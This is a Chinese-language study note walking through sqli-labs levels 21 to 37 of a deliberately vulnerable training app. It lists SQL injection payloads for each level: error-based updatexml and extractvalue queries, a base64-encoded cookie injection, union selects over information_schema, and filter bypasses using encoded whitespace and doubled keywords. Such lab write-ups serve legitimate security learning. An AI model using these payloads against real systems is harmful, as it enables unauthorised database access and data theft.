sqli-labs
21关 基于错误的cookie base64编码注入
采用base64编码,登录后将uname的数据传入cookie,抓包在cookie:uname处直接注入即可
Cookie:uname=YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSx2ZXJzaW9uKCksMHg3ZSksMSkgb3IgJyA=; 2e06_2132_saltkey=x5yp30p4; 2e06_2132_lastvisit=1599640204
22关
在21关的基础上将单引号变为了双引号
23关
报错注入,过滤了注释符,可以使用extractvalue函数注入绕过。
payload id=-1' and extractvalue(1,concat(0x7e,(select version()),0x7e)) or '1'='1使用or '1'='1闭合语句
还可以直接使用联合注入的方式id=-1 union select 1,version(),3'同样可以注入 不需要注释,直接使用'闭合语句
26关
将空格和and,or全部过滤了,特别是空格不能出现
可以使用报错注入:id=-1'||updatexml(1,concat(':',( database())),1)||'1'='1
注入语句:?id=1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1)||'1'='1
27关
过滤了很多东西,主要是不能使用空格
可以使用%0c,%0a等换行符,换页符代替空格
借用的别人的payload '%0AUNion%0ASElEct%0A1,(SELEct%0Atable_name%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'%0Alimit%0A0,1),3||'1'='1
28关
基于错误的注入
闭合为单引号+括号,payload ?id=-1')and%0aupdatexml(1,concat(0x7e,(select%0agroup_concat(table_name)from%0ainformation_schema.tables%0awhere%0atable_schema='security'),0x7e),1)%0aor%0a'1'=('1
35关
数字型get注入,同时过滤了',可以使用括号和宽字节注入防止逗号的输入。
payload union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
或者union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479转换为16进制比较好,所有的表和库都可以使用16进制表示
36关
这一关使用了mysql_real_escape_string()函数,过滤了\x00 \n \r \ ' " \x1a
同样的可以使用宽字节注入,但是原理我不太懂,测试的时候可以看到出现这些字符的时候函数添加了一个\,因此猜想可以使用宽字节注入,payload和上面一样。
37
post型注入,payload一样

浙公网安备 33010602011771号